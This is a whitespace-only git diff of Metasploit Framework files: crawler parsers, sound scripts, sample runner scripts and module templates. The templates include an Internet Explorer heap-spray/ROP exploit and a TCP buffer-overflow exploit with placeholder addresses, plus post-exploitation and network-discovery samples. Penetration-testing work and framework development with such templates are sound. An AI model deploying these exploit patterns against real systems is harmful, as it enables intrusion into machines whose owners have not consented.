+18,31 @@ require 'uri' class CrawlerObjects < BaseParser - def parse(request,result) + def parse(request,result) - if !result['Content-Type'].include? "text/html" - return - end + if !result['Content-Type'].include? "text/html" + return + end - hr = '' - m = '' + hr = '' + m = '' - doc = Hpricot(result.body.to_s) - doc.search("//object/embed").each do |obj| + doc = Hpricot(result.body.to_s) + doc.search("//object/embed").each do |obj| - s = obj['src'] + s = obj['src'] - begin - hreq = urltohash('GET',s,request['uri'],nil) + begin + hreq = urltohash('GET',s,request['uri'],nil) - insertnewpath(hreq) + insertnewpath(hreq) - rescue URI::InvalidURIError - #puts "Parse error" - #puts "Error: #{link[0]}" - end - end - end + rescue URI::InvalidURIError + #puts "Parse error" + #puts "Error: #{link[0]}" + end + end + end end diff --git a/data/msfcrawler/scripts.rb b/data/msfcrawler/scripts.rb index e5a043f400..3789842344 100755 --- a/data/msfcrawler/scripts.rb +++ b/data/msfcrawler/scripts.rb @@ -18,31 +18,31 @@ require 'uri' class CrawlerScripts < BaseParser - def parse(request,result) + def parse(request,result) - if !result['Content-Type'].include? "text/html" - return - end + if !result['Content-Type'].include? "text/html" + return + end - hr = '' - m = '' + hr = '' + m = '' - doc = Hpricot(result.body.to_s) - doc.search("//script").each do |obj| + doc = Hpricot(result.body.to_s) + doc.search("//script").each do |obj| - s = obj['src'] + s = obj['src'] - begin - hreq = urltohash('GET',s,request['uri'],nil) + begin + hreq = urltohash('GET',s,request['uri'],nil) - insertnewpath(hreq) + insertnewpath(hreq) - rescue URI::InvalidURIError - #puts "Parse error" - #puts "Error: #{link[0]}" - end - end - end + rescue URI::InvalidURIError + #puts "Parse error" + #puts "Error: #{link[0]}" + end + end + end end diff --git a/data/sounds/aiff2wav.rb b/data/sounds/aiff2wav.rb index 76c323dd43..b2020875cd 100755 --- a/data/sounds/aiff2wav.rb +++ b/data/sounds/aiff2wav.rb @@ -1,7 +1,7 @@ #!/usr/bin/env ruby Dir.open(".").entries.grep(/.aiff$/).each do |inp| - out = inp.gsub(".aiff", ".wav") - system("sox #{inp} #{out}") + out = inp.gsub(".aiff", ".wav") + system("sox #{inp} #{out}") end diff --git a/data/sounds/gensounds_mac.rb b/data/sounds/gensounds_mac.rb index ae8516fd57..dc63ac1ba5 100755 --- a/data/sounds/gensounds_mac.rb +++ b/data/sounds/gensounds_mac.rb @@ -1,34 +1,34 @@ sounds = { - 'num0' => '0', - 'num1' => '1', - 'num2' => '2', - 'num3' => '3', - 'num4' => '4', - 'num5' => '5', - 'num6' => '6', - 'num7' => '7', - 'num8' => '8', - 'num9' => '9', - 'closed' => 'closed', - 'opened' => 'opened', - 'plugin_load' => 'meta sploit sound plugin has been loaded', - 'plugin_unload' => 'sound plugin has been unloaded', - 'session' => 'session', - 'address' => 'address', - 'port' => 'port', - 'dot' => 'dot', - 'session_open_meterpreter' => 'a new meterp reter session has been opened', - 'session_open_shell' => 'a new command shell session has been opened', - 'session_open_vnc' => 'a new VNC session has been opened' + 'num0' => '0', + 'num1' => '1', + 'num2' => '2', + 'num3' => '3', + 'num4' => '4', + 'num5' => '5', + 'num6' => '6', + 'num7' => '7', + 'num8' => '8', + 'num9' => '9', + 'closed' => 'closed', + 'opened' => 'opened', + 'plugin_load' => 'meta sploit sound plugin has been loaded', + 'plugin_unload' => 'sound plugin has been unloaded', + 'session' => 'session', + 'address' => 'address', + 'port' => 'port', + 'dot' => 'dot', + 'session_open_meterpreter' => 'a new meterp reter session has been opened', + 'session_open_shell' => 'a new command shell session has been opened', + 'session_open_vnc' => 'a new VNC session has been opened' } voice_name = 'Zarvox' def create_aiff(voice, file,text) - system("say -v #{voice} -o #{file}.aiff #{text}") + system("say -v #{voice} -o #{file}.aiff #{text}") end sounds.keys.each do |k| - create_aiff(voice_name, k, sounds[k]) + create_aiff(voice_name, k, sounds[k]) end diff --git a/documentation/samples/framework/dump_module_info.rb b/documentation/samples/framework/dump_module_info.rb index 2666c364c7..35877764a1 100755 --- a/documentation/samples/framework/dump_module_info.rb +++ b/documentation/samples/framework/dump_module_info.rb @@ -13,22 +13,22 @@ $:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', 'lib')) require 'msf/base' if (ARGV.empty?) - puts "Usage: #{File.basename(__FILE__)} module_name" - exit + puts "Usage: #{File.basename(__FILE__)} module_name" + exit end modname = ARGV.shift framework = Msf::Simple::Framework.create begin - # Create the module instance. - mod = framework.modules.create(modname) - if not mod - puts "Error: The specified Msf::Module, \"#{modname}\", was not found." - else - # Dump the module's information in readable text format. - puts Msf::Serializer::ReadableText.dump_module(mod) - end + # Create the module instance. + mod = framework.modules.create(modname) + if not mod + puts "Error: The specified Msf::Module, \"#{modname}\", was not found." + else + # Dump the module's information in readable text format. + puts Msf::Serializer::ReadableText.dump_module(mod) + end rescue - puts "Error: #{$!}\n\n#{$@.join("\n")}" + puts "Error: #{$!}\n\n#{$@.join("\n")}" end diff --git a/documentation/samples/framework/encode_file.rb b/documentation/samples/framework/encode_file.rb index 70bf79e7d8..b004ed4f63 100755 --- a/documentation/samples/framework/encode_file.rb +++ b/documentation/samples/framework/encode_file.rb @@ -13,18 +13,18 @@ $:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', 'lib')) require 'msf/base' if (ARGV.empty?) - puts "Usage: #{File.basename(__FILE__)} encoder_name file_name format" - exit + puts "Usage: #{File.basename(__FILE__)} encoder_name file_name format" + exit end framework = Msf::Simple::Framework.create begin - # Create the encoder instance. - mod = framework.encoders.create(ARGV.shift) + # Create the encoder instance. + mod = framework.encoders.create(ARGV.shift) - puts(Msf::Simple::Buffer.transform( - mod.encode(IO.read(ARGV.shift)), ARGV.shift || 'ruby')) + puts(Msf::Simple::Buffer.transform( + mod.encode(IO.read(ARGV.shift)), ARGV.shift || 'ruby')) rescue - puts "Error: #{$!}\n\n#{$@.join("\n")}" + puts "Error: #{$!}\n\n#{$@.join("\n")}" end diff --git a/documentation/samples/framework/enumerate_modules.rb b/documentation/samples/framework/enumerate_modules.rb index 903a918040..ad4ea6fd64 100755 --- a/documentation/samples/framework/enumerate_modules.rb +++ b/documentation/samples/framework/enumerate_modules.rb @@ -16,5 +16,5 @@ framework = Msf::Simple::Framework.create # Enumerate each module in the framework. framework.modules.each_module { |name, mod| - puts "#{mod.type}: #{name}" + puts "#{mod.type}: #{name}" } diff --git a/documentation/samples/framework/run_exploit_using_base.rb b/documentation/samples/framework/run_exploit_using_base.rb index 0a6f2a6b8b..29f61c1ead 100755 --- a/documentation/samples/framework/run_exploit_using_base.rb +++ b/documentation/samples/framework/run_exploit_using_base.rb @@ -14,8 +14,8 @@ $:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', 'lib')) require 'msf/base' if (ARGV.length == 0) - puts "Usage: #{File.basename(__FILE__)} exploit_name payload_name OPTIONS" - exit + puts "Usage: #{File.basename(__FILE__)} exploit_name payload_name OPTIONS" + exit end framework = Msf::Simple::Framework.create @@ -25,28 +25,28 @@ input = Rex::Ui::Text::Input::Stdio.new output = Rex::Ui::Text::Output::Stdio.new begin - # Initialize the exploit instance - exploit = framework.exploits.create(exploit_name) + # Initialize the exploit instance + exploit = framework.exploits.create(exploit_name) - # Fire it off. - session = exploit.exploit_simple( - 'Payload' => payload_name, - 'OptionStr' => ARGV.join(' '), - 'LocalInput' => input, - 'LocalOutput' => output) + # Fire it off. + session = exploit.exploit_simple( + 'Payload' => payload_name, + 'OptionStr' => ARGV.join(' '), + 'LocalInput' => input, + 'LocalOutput' => output) - # If a session came back, try to interact with it. - if (session) - output.print_status("Session #{session.sid} created, interacting...") - output.print_line + # If a session came back, try to interact with it. + if (session) + output.print_status("Session #{session.sid} created, interacting...") + output.print_line - session.init_ui(input, output) + session.init_ui(input, output) - session.interact - else - output.print_line("Exploit completed, no session was created.") - end + session.interact + else + output.print_line("Exploit completed, no session was created.") + end rescue - output.print_error("Error: #{$!}\n\n#{$@.join("\n")}") + output.print_error("Error: #{$!}\n\n#{$@.join("\n")}") end diff --git a/documentation/samples/framework/run_exploit_using_core.rb b/documentation/samples/framework/run_exploit_using_core.rb index 731aaac3c9..d2fd0b5a5d 100755 --- a/documentation/samples/framework/run_exploit_using_core.rb +++ b/documentation/samples/framework/run_exploit_using_core.rb @@ -15,8 +15,8 @@ $:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', 'lib')) require 'msf/base' if (ARGV.length == 0) - puts "Usage: #{File.basename(__FILE__)} exploit_name payload_name OPTIONS" - exit + puts "Usage: #{File.basename(__FILE__)} exploit_name payload_name OPTIONS" + exit end framework = Msf::Simple::Framework.create @@ -26,43 +26,43 @@ input = Rex::Ui::Text::Input::Stdio.new output = Rex::Ui::Text::Output::Stdio.new begin - # Create the exploit driver instance. - driver = Msf::ExploitDriver.new(framework) + # Create the exploit driver instance. + driver = Msf::ExploitDriver.new(framework) - # Initialize the exploit driver's exploit and payload instance - driver.exploit = framework.exploits.create(exploit_name) - driver.payload = framework.payloads.create(payload_name) + # Initialize the exploit driver's exploit and payload instance + driver.exploit = framework.exploits.create(exploit_name) + driver.payload = framework.payloads.create(payload_name) - # Import options specified in VAR=VAL format from the supplied command - # line. - driver.exploit.datastore.import_options_from_s(ARGV.join(' ')) + # Import options specified in VAR=VAL format from the supplied command + # line. + driver.exploit.datastore.import_options_from_s(ARGV.join(' ')) - # Share the exploit's datastore with the payload. - driver.payload.share_datastore(driver.exploit.datastore) + # Share the exploit's datastore with the payload. + driver.payload.share_datastore(driver.exploit.datastore) - # Initialize the target index to what's in the exploit's data store or - # zero by default. - driver.target_idx = (driver.exploit.datastore['TARGET'] || 0).to_i + # Initialize the target index to what's in the exploit's data store or + # zero by default. + driver.target_idx = (driver.exploit.datastore['TARGET'] || 0).to_i - # Initialize the exploit and payload user interfaces. - driver.exploit.init_ui(input, output) - driver.payload.init_ui(input, output) + # Initialize the exploit and payload user interfaces. + driver.exploit.init_ui(input, output) + driver.payload.init_ui(input, output) - # Fire it off. - session = driver.run + # Fire it off. + session = driver.run - # If a session came back, try to interact with it. - if (session) - output.print_status("Session #{session.sid} created, interacting...") - output.print_line + # If a session came back, try to interact with it. + if (session) + output.print_status("Session #{session.sid} created, interacting...") + output.print_line - session.init_ui(input, output) + session.init_ui(input, output) - session.interact - else - output.print_line("Exploit completed, no session was created.") - end + session.interact + else + output.print_line("Exploit completed, no session was created.") + end rescue - output.print_error("Error: #{$!}\n\n#{$@.join("\n")}") + output.print_error("Error: #{$!}\n\n#{$@.join("\n")}") end diff --git a/documentation/samples/modules/auxiliary/sample.rb b/documentation/samples/modules/auxiliary/sample.rb index 976f5d0f95..e8b2a39980 100644 --- a/documentation/samples/modules/auxiliary/sample.rb +++ b/documentation/samples/modules/auxiliary/sample.rb @@ -15,31 +15,31 @@ require 'msf/core' ### class Metasploit4 < Msf::Auxiliary - def initialize(info={}) - super(update_info(info, - 'Name' => 'Sample Auxiliary Module', - 'Description' => 'Sample Auxiliary Module', - 'Author' => ['hdm'], - 'License' => MSF_LICENSE, - 'Actions' => - [ - ['Default Action'], - ['Another Action'] - ] - )) + def initialize(info={}) + super(update_info(info, + 'Name' => 'Sample Auxiliary Module', + 'Description' => 'Sample Auxiliary Module', + 'Author' => ['hdm'], + 'License' => MSF_LICENSE, + 'Actions' => + [ + ['Default Action'], + ['Another Action'] + ] + )) - end + end - def run - print_status("Running the simple auxiliary module with action #{action.name}") - end + def run + print_status("Running the simple auxiliary module with action #{action.name}") + end - def auxiliary_commands - return { "aux_extra_command" => "Run this auxiliary test commmand" } - end + def auxiliary_commands + return { "aux_extra_command" => "Run this auxiliary test commmand" } + end - def cmd_aux_extra_command(*args) - print_status("Running inside aux_extra_command()") - end + def cmd_aux_extra_command(*args) + print_status("Running inside aux_extra_command()") + end end diff --git a/documentation/samples/modules/encoders/sample.rb b/documentation/samples/modules/encoders/sample.rb index 9ca09565e0..f60dde2e36 100644 --- a/documentation/samples/modules/encoders/sample.rb +++ b/documentation/samples/modules/encoders/sample.rb @@ -13,23 +13,23 @@ ### class Metasploit4 < Msf::Encoder - def initialize - super( - 'Name' => 'Sample Encoder', - 'Description' => %q{ - Sample encoder that just returns the block it's passed - when encoding occurs. - }, - 'License' => MSF_LICENSE, - 'Author' => 'skape', - 'Arch' => ARCH_ALL) - end + def initialize + super( + 'Name' => 'Sample Encoder', + 'Description' => %q{ + Sample encoder that just returns the block it's passed + when encoding occurs. + }, + 'License' => MSF_LICENSE, + 'Author' => 'skape', + 'Arch' => ARCH_ALL) + end - # - # Returns the unmodified buffer to the caller. - # - def encode_block(state, buf) - buf - end + # + # Returns the unmodified buffer to the caller. + # + def encode_block(state, buf) + buf + end end diff --git a/documentation/samples/modules/exploits/ie_browser.rb b/documentation/samples/modules/exploits/ie_browser.rb index bc3131d756..3580436400 100644 --- a/documentation/samples/modules/exploits/ie_browser.rb +++ b/documentation/samples/modules/exploits/ie_browser.rb @@ -15,133 +15,133 @@ require 'msf/core' # ### class Metasploit4 < Msf::Exploit::Remote - Rank = NormalRanking + Rank = NormalRanking - include Msf::Exploit::Remote::HttpServer::HTML - include Msf::Exploit::RopDb - include Msf::Exploit::Remote::BrowserAutopwn + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::RopDb + include Msf::Exploit::Remote::BrowserAutopwn - # Set :classid and :method for ActiveX exploits. For example: - # :classid => "{C3B92104-B5A7-11D0-A37F-00A0248F0AF1}", - # :method => "SetShapeNodeType", - autopwn_info({ - :ua_name => HttpClients::IE, - :ua_minver => "8.0", - :ua_maxver => "10.0", - :javascript => true, - :os_name => OperatingSystems::WINDOWS, - :rank => NormalRanking - }) + # Set :classid and :method for ActiveX exploits. For example: + # :classid => "{C3B92104-B5A7-11D0-A37F-00A0248F0AF1}", + # :method => "SetShapeNodeType", + autopwn_info({ + :ua_name => HttpClients::IE, + :ua_minver => "8.0", + :ua_maxver => "10.0", + :javascript => true, + :os_name => OperatingSystems::WINDOWS, + :rank => NormalRanking + }) - def initialize(info={}) - super(update_info(info, - 'Name' => "Module Name", - 'Description' => %q{ - This template covers IE8/9/10, and uses the user-agent HTTP header to detect - the browser version. Please note IE8 and newer may emulate an older IE version - in compatibility mode, in that case the module won't be able to detect the - browser correctly. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'sinn3r' ], - 'References' => - [ - [ 'URL', 'http://metasploit.com' ] - ], - 'Platform' => 'win', - 'Targets' => - [ - [ 'Automatic', {} ], - [ 'IE 8 on Windows XP SP3', { 'Rop' => :jre } ], - [ 'IE 8 on Windows Vista', { 'Rop' => :jre } ], - [ 'IE 8 on Windows 7', { 'Rop' => :jre } ], - [ 'IE 9 on Windows 7', { 'Rop' => :jre } ], - [ 'IE 10 on Windows 8', { 'Rop' => :jre } ] - ], - 'Payload' => - { - 'BadChars' => "\x00", # js_property_spray - 'StackAdjustment' => -3500 - }, - 'Privileged' => false, - 'DisclosureDate' => "Apr 1 2013", - 'DefaultTarget' => 0)) - end + def initialize(info={}) + super(update_info(info, + 'Name' => "Module Name", + 'Description' => %q{ + This template covers IE8/9/10, and uses the user-agent HTTP header to detect + the browser version. Please note IE8 and newer may emulate an older IE version + in compatibility mode, in that case the module won't be able to detect the + browser correctly. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'sinn3r' ], + 'References' => + [ + [ 'URL', 'http://metasploit.com' ] + ], + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic', {} ], + [ 'IE 8 on Windows XP SP3', { 'Rop' => :jre } ], + [ 'IE 8 on Windows Vista', { 'Rop' => :jre } ], + [ 'IE 8 on Windows 7', { 'Rop' => :jre } ], + [ 'IE 9 on Windows 7', { 'Rop' => :jre } ], + [ 'IE 10 on Windows 8', { 'Rop' => :jre } ] + ], + 'Payload' => + { + 'BadChars' => "\x00", # js_property_spray + 'StackAdjustment' => -3500 + }, + 'Privileged' => false, + 'DisclosureDate' => "Apr 1 2013", + 'DefaultTarget' => 0)) + end - def get_target(agent) - return target if target.name != 'Automatic' + def get_target(agent) + return target if target.name != 'Automatic' - nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' - ie = agent.scan(/MSIE (\d)/).flatten[0] || '' + nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' + ie = agent.scan(/MSIE (\d)/).flatten[0] || '' - ie_name = "IE #{ie}" + ie_name = "IE #{ie}" - case nt - when '5.1' - os_name = 'Windows XP SP3' - when '6.0' - os_name = 'Windows Vista' - when '6.1' - os_name = 'Windows 7' - when '6.2' - os_name = 'Windows 8' - end + case nt + when '5.1' + os_name = 'Windows XP SP3' + when '6.0' + os_name = 'Windows Vista' + when '6.1' + os_name = 'Windows 7' + when '6.2' + os_name = 'Windows 8' + end - targets.each do |t| - if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) - return t - end - end + targets.each do |t| + if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) + return t + end + end - nil - end + nil + end - def get_payload(t) - stack_pivot = "\x41\x42\x43\x44" - code = payload.encoded + def get_payload(t) + stack_pivot = "\x41\x42\x43\x44" + code = payload.encoded - case t['Rop'] - when :msvcrt - print_status("Using msvcrt ROP") - rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'}) + case t['Rop'] + when :msvcrt + print_status("Using msvcrt ROP") + rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'}) - else - print_status("Using JRE ROP") - rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot}) - end + else + print_status("Using JRE ROP") + rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot}) + end - rop_payload - end + rop_payload + end - def get_html(t) - js_p = ::Rex::Text.to_unescape(get_payload(t), ::Rex::Arch.endian(t.arch)) - html = %Q| - <script> - #{js_property_spray} + def get_html(t) + js_p = ::Rex::Text.to_unescape(get_payload(t), ::Rex::Arch.endian(t.arch)) + html = %Q| + <script> + #{js_property_spray} - var s = unescape("#{js_p}"); - sprayHeap({shellcode:s}); - </script> - | + var s = unescape("#{js_p}"); + sprayHeap({shellcode:s}); + </script> + | - html.gsub(/^\t\t/, '') - end + html.gsub(/^\t\t/, '') + end - def on_request_uri(cli, request) - agent = request.headers['User-Agent'] - print_status("Requesting: #{request.uri}") + def on_request_uri(cli, request) + agent = request.headers['User-Agent'] + print_status("Requesting: #{request.uri}") - target = get_target(agent) - if target.nil? - print_error("Browser not supported, sending 404: #{agent}") - send_not_found(cli) - return - end + target = get_target(agent) + if target.nil? + print_error("Browser not supported, sending 404: #{agent}") + send_not_found(cli) + return + end - print_status("Target selected as: #{target.name}") - html = get_html(target) - send_response(cli, html, { 'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache' }) - end + print_status("Target selected as: #{target.name}") + html = get_html(target) + send_response(cli, html, { 'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache' }) + end end diff --git a/documentation/samples/modules/exploits/sample.rb b/documentation/samples/modules/exploits/sample.rb index e3cd52de57..081020fcd3 100644 --- a/documentation/samples/modules/exploits/sample.rb +++ b/documentation/samples/modules/exploits/sample.rb @@ -15,71 +15,71 @@ require 'msf/core' ### class Metasploit4 < Msf::Exploit::Remote - # - # This exploit affects TCP servers, so we use the TCP client mixin. - # - include Exploit::Remote::Tcp + # + # This exploit affects TCP servers, so we use the TCP client mixin. + # + include Exploit::Remote::Tcp - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Sample Exploit', - 'Description' => %q{ - This exploit module illustrates how a vulnerability could be exploited - in an TCP server that has a parsing bug. - }, - 'License' => MSF_LICENSE, - 'Author' => ['skape'], - 'References' => - [ - ], - 'Payload' => - { - 'Space' => 1000, - 'BadChars' => "\x00", - }, - 'Targets' => - [ - # Target 0: Windows All - [ - 'Windows XP/Vista/7/8', - { - 'Platform' => 'win', - 'Ret' => 0x41424344 - } - ], - ], - 'DisclosureDate' => "Apr 1 2013", - 'DefaultTarget' => 0)) - end + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Sample Exploit', + 'Description' => %q{ + This exploit module illustrates how a vulnerability could be exploited + in an TCP server that has a parsing bug. + }, + 'License' => MSF_LICENSE, + 'Author' => ['skape'], + 'References' => + [ + ], + 'Payload' => + { + 'Space' => 1000, + 'BadChars' => "\x00", + }, + 'Targets' => + [ + # Target 0: Windows All + [ + 'Windows XP/Vista/7/8', + { + 'Platform' => 'win', + 'Ret' => 0x41424344 + } + ], + ], + 'DisclosureDate' => "Apr 1 2013", + 'DefaultTarget' => 0)) + end - # - # The sample exploit just indicates that the remote host is always - # vulnerable. - # - def check - Exploit::CheckCode::Vulnerable - end + # + # The sample exploit just indicates that the remote host is always + # vulnerable. + # + def check + Exploit::CheckCode::Vulnerable + end - # - # The exploit method connects to the remote service and sends 1024 random bytes - # followed by the fake return address and then the payload. - # - def exploit - connect + # + # The exploit method connects to the remote service and sends 1024 random bytes + # followed by the fake return address and then the payload. + # + def exploit + connect - print_status("Sending #{payload.encoded.length} byte payload...") + print_status("Sending #{payload.encoded.length} byte payload...") - # Build the buffer for transmission - buf = rand_text_alpha(1024) - buf << [ target.ret ].pack('V') - buf << payload.encoded + # Build the buffer for transmission + buf = rand_text_alpha(1024) + buf << [ target.ret ].pack('V') + buf << payload.encoded - # Send it off - sock.put(buf) - sock.get_once + # Send it off + sock.put(buf) + sock.get_once - handler - end + handler + end end diff --git a/documentation/samples/modules/nops/sample.rb b/documentation/samples/modules/nops/sample.rb index ec171857c3..d24a87808b 100644 --- a/documentation/samples/modules/nops/sample.rb +++ b/documentation/samples/modules/nops/sample.rb @@ -15,20 +15,20 @@ require 'msf/core' ### class Metasploit4 < Msf::Nop - def initialize - super( - 'Name' => 'Sample NOP Generator', - 'Description' => 'Sample single-byte NOP generator', - 'License' => MSF_LICENSE, - 'Author' => 'skape', - 'Arch' => ARCH_X86) - end + def initialize + super( + 'Name' => 'Sample NOP Generator', + 'Description' => 'Sample single-byte NOP generator', + 'License' => MSF_LICENSE, + 'Author' => 'skape', + 'Arch' => ARCH_X86) + end - # - # Returns a string of 0x90's for the supplied length. - # - def generate_sled(length, opts) - "\x90" * length - end + # + # Returns a string of 0x90's for the supplied length. + # + def generate_sled(length, opts) + "\x90" * length + end end diff --git a/documentation/samples/modules/payloads/singles/sample.rb b/documentation/samples/modules/payloads/singles/sample.rb index ee23fd28fc..c79123c90e 100644 --- a/documentation/samples/modules/payloads/singles/sample.rb +++ b/documentation/samples/modules/payloads/singles/sample.rb @@ -14,21 +14,21 @@ require 'msf/core' ### module Metasploit4 - include Msf::Payload::Single + include Msf::Payload::Single - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Debugger Trap', - 'Description' => 'Causes a debugger trap exception through int3', - 'License' => MSF_LICENSE, - 'Author' => 'skape', - 'Platform' => 'win', - 'Arch' => ARCH_X86, - 'Payload' => - { - 'Payload' => "\xcc" - } - )) - end + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Debugger Trap', + 'Description' => 'Causes a debugger trap exception through int3', + 'License' => MSF_LICENSE, + 'Author' => 'skape', + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Payload' => + { + 'Payload' => "\xcc" + } + )) + end end diff --git a/documentation/samples/modules/post/sample.rb b/documentation/samples/modules/post/sample.rb index fde58e237a..2729ced0bd 100644 --- a/documentation/samples/modules/post/sample.rb +++ b/documentation/samples/modules/post/sample.rb @@ -15,26 +15,26 @@ require 'msf/core/post/common' ### class Metasploit4 < Msf::Post - include Msf::Post::Common + include Msf::Post::Common - def initialize(info={}) - super(update_info(info, - 'Name' => 'Sample Post Module', - 'Description' => %q{Sample Post Module}, - 'License' => MSF_LICENSE, - 'Author' => [ 'sinn3r'], - 'Platform' => [ 'win'], - 'SessionTypes' => [ "shell", "meterpreter" ] - )) - end + def initialize(info={}) + super(update_info(info, + 'Name' => 'Sample Post Module', + 'Description' => %q{Sample Post Module}, + 'License' => MSF_LICENSE, + 'Author' => [ 'sinn3r'], + 'Platform' => [ 'win'], + 'SessionTypes' => [ "shell", "meterpreter" ] + )) + end - # - # This post module runs a ipconfig command and returns the output - # - def run - print_status("Executing ipconfig on remote machine") - o = cmd_exec("ipconfig") - print_line(o) - end + # + # This post module runs a ipconfig command and returns the output + # + def run + print_status("Executing ipconfig on remote machine") + o = cmd_exec("ipconfig") + print_line(o) + end end \ No newline at end of file diff --git a/documentation/samples/pro/msfrpc_pro_discover.rb b/documentation/samples/pro/msfrpc_pro_discover.rb index 2a4aa48a38..0613440855 100644 --- a/documentation/samples/pro/msfrpc_pro_discover.rb +++ b/documentation/samples/pro/msfrpc_pro_discover.rb @@ -5,19 +5,19 @@ require 'msfrpc-client' require 'rex/ui' def usage(ropts) - $stderr.puts ropts + $stderr.puts ropts - if @rpc and @rpc.token - wspaces = @rpc.call("pro.workspaces") rescue {} - if wspaces.keys.length > 0 - $stderr.puts "Active Projects:" - wspaces.each_pair do |k,v| - $stderr.puts "\t#{k}" - end - end - end - $stderr.puts "" - exit(1) + if @rpc and @rpc.token + wspaces = @rpc.call("pro.workspaces") rescue {} + if wspaces.keys.length > 0 + $stderr.puts "Active Projects:" + wspaces.each_pair do |k,v| + $stderr.puts "\t#{k}" + end + end + end + $stderr.puts "" + exit(1) end opts = {} @@ -27,88 +27,88 @@ parser = Msf::RPC::Client.option_parser(opts) parser.separator('Discover Mandatory Options:') parser.on("--project PROJECT") do |x| - opts[:project] = x + opts[:project] = x end parser.on("--targets TARGETS") do |x| - opts[:targets] = [x] + opts[:targets] = [x] end parser.on("--blacklist BLACKLIST (optional)") do |x| - opts[:blacklist] = x + opts[:blacklist] = x end parser.on("--speed SPEED (optional)") do |x| - opts[:speed] = x + opts[:speed] = x end parser.on("--extra-ports PORTS (optional)") do |x| - opts[:extra_ports] = x + opts[:extra_ports] = x end parser.on("--blacklist-ports PORTS (optional)") do |x| - opts[:blacklist_ports] = x + opts[:blacklist_ports] = x end parser.on("--custom-ports PORTS (optional)") do |x| - opts[:custom_ports] = x + opts[:custom_ports] = x end parser.on("--portscan-timeout TIMEOUT (optional)") do |x| - opts[:portscan_timeout] = x + opts[:portscan_timeout] = x end parser.on("--source-port PORT (optional)") do |x| - opts[:source_port] = x + opts[:source_port] = x end parser.on("--custom-nmap-options OPTIONS (optional)") do |x| - opts[:custom_nmap_options] = x + opts[:custom_nmap_options] = x end parser.on("--disable-udp-probes (optional)") do - opts[:disable_udp_probes] = true + opts[:disable_udp_probes] = true end parser.on("--disable-finger-users (optional)") do - opts[:disable_finger_users] = true + opts[:disable_finger_users] = true end parser.on("--disable-snmp-scan (optional)") do - opts[:disable_snmp_scan] = true + opts[:disable_snmp_scan] = true end parser.on("--disable-service-identification (optional)") do - opts[:disable_service_identification] = true + opts[:disable_service_identification] = true end parser.on("--smb-user USER (optional)") do |x| - opts[:smb_user] = x + opts[:smb_user] = x end parser.on("--smb-pass PASS (optional)") do |x| - opts[:smb_pass] = x + opts[:smb_pass] = x end parser.on("--smb-domain DOMAIN (optional)") do |x| - opts[:smb_domain] = x + opts[:smb_domain] = x end parser.on("--dry-run (optional)") do - opts[:dry_run] = true + opts[:dry_run] = true end parser.on("--single-scan (optional)") do - opts[:single_scan] = true + opts[:single_scan] = true end parser.on("--fast-detect (optional)") do - opts[:fast_detect] = true + opts[:fast_detect] = true end parser.on("--help") do - $stderr.puts parser - exit(1) + $stderr.puts parser + exit(1) end parser.separator('') @@ -117,9 +117,9 @@ parser.parse!(ARGV) @rpc = Msf::RPC::Client.new(opts) if not @rpc.token - $stderr.puts "Error: Invalid RPC server options specified" - $stderr.puts parser - exit(1) + $stderr.puts "Error: Invalid RPC server options specified" + $stderr.puts parser + exit(1) end # Provide default values for certain options - If there's no alternative set @@ -149,59 +149,59 @@ user = @rpc.call("pro.default_admin_user")['username'] # Create the task object with all options task = @rpc.call("pro.start_discover", { - 'workspace' => project, - 'username' => user, - 'ips' => targets, - 'DS_BLACKLIST_HOSTS' => blacklist, - 'DS_PORTSCAN_SPEED' => speed, - 'DS_PORTS_EXTRA' => extra_ports, - 'DS_PORTS_BLACKLIST' => blacklist_ports, - 'DS_PORTS_CUSTOM' => custom_ports, - 'DS_PORTSCAN_TIMEOUT' => portscan_timeout, - 'DS_PORTSCAN_SOURCE_PORT' => source_port, - 'DS_CustomNmap' => custom_nmap_options, - 'DS_UDP_PROBES' => disable_udp_probes, - 'DS_FINGER_USERS' => disable_finger_users, - 'DS_SNMP_SCAN' => disable_snmp_scan, - 'DS_IDENTIFY_SERVICES' => disable_service_identification, - 'DS_SMBUser' => smb_user, - 'DS_SMBPass' => smb_pass, - 'DS_SMBDomain' => smb_domain, - 'DS_SINGLE_SCAN' => single_scan, - 'DS_FAST_DETECT' => fast_detect + 'workspace' => project, + 'username' => user, + 'ips' => targets, + 'DS_BLACKLIST_HOSTS' => blacklist, + 'DS_PORTSCAN_SPEED' => speed, + 'DS_PORTS_EXTRA' => extra_ports, + 'DS_PORTS_BLACKLIST' => blacklist_ports, + 'DS_PORTS_CUSTOM' => custom_ports, + 'DS_PORTSCAN_TIMEOUT' => portscan_timeout, + 'DS_PORTSCAN_SOURCE_PORT' => source_port, + 'DS_CustomNmap' => custom_nmap_options, + 'DS_UDP_PROBES' => disable_udp_probes, + 'DS_FINGER_USERS' => disable_finger_users, + 'DS_SNMP_SCAN' => disable_snmp_scan, + 'DS_IDENTIFY_SERVICES' => disable_service_identification, + 'DS_SMBUser' => smb_user, + 'DS_SMBPass' => smb_pass, + 'DS_SMBDomain' => smb_domain, + 'DS_SINGLE_SCAN' => single_scan, + 'DS_FAST_DETECT' => fast_detect }) puts "DEBUG: Running task with #{task.inspect}" if not task['task_id'] - $stderr.puts "[-] Error starting the task: #{task.inspect}" 